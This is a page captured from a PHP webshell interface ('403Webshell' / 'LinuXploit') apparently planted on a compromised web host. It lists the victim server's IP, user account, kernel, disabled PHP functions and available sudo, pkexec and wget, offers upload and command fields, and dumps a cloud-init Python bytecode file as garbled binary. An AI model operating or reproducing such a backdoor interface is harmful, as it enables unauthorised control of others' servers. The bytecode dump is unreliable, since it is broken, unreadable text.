403Webshell
Server IP : 68.178.164.50  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux 50.164.178.68.host.secureserver.net 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : rathinambschool ( 1053)
PHP Version : 8.2.30
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/cloudinit/distros/parsers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cloudinit/distros/parsers/__pycache__/hostname.cpython-39.opt-1.pyc
a

'�Dg�	�@s*ddlmZddlmZGdd�d�ZdS)�)�StringIO)�chop_commentc@s@eZdZdd�Zdd�Zdd�Zedd��Zd	d
�Zdd�Z	d
S)�HostnameConfcCs||_d|_dS�N)�_text�	_contents)�self�text�r
�F/usr/lib/python3.9/site-packages/cloudinit/distros/parsers/hostname.py�__init__szHostnameConf.__init__cCs|jdur|�|j�|_dSr)r�_parser)rr
r
r�parses
zHostnameConf.parsecCs�|��t�}|jD]b\}}|dkr8|�d|d�q|dkrT|�d|d�q|dkr|\}}|�d||f�q|��}|�d�s�|d7}|S)N�blankz%s
r�all_comment�hostnamez%s%s
�
)rrr�write�getvalue�endswith)r�contents�	line_type�
componentsr�tailr
r
r�__str__s
zHostnameConf.__str__cCs0|��|jD]\}}|dkr|dSqdS)Nrr)rr)rrrr
r
rr's
zHostnameConf.hostnamecCsd|��}|sdS|��d}|jD] \}}|dkr"t|�|d<d}q"|s`|j�dt|�dgf�dS)NFrrT�)�striprr�str�append)rZ
your_hostnameZreplacedrrr
r
r�set_hostname/szHostnameConf.set_hostnamecCs�g}t�}|��D]j}t|���s4|�d|gf�qt|��d�\}}t|�s`|�d|gf�q|�d||gf�|�|�qt|�dkr�td|��|S)Nr�#rr�zMultiple hostnames (%s) found!)�set�
splitlines�lenrrr�add�IOError)rr�entriesZhostnames_found�line�headrr
r
rr
<szHostnameConf._parseN)
�__name__�
__module__�__qualname__rrr�propertyrrr
r
r
r
rr
s

rN)�iorZcloudinit.distros.parsersrrr
r
r
r�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit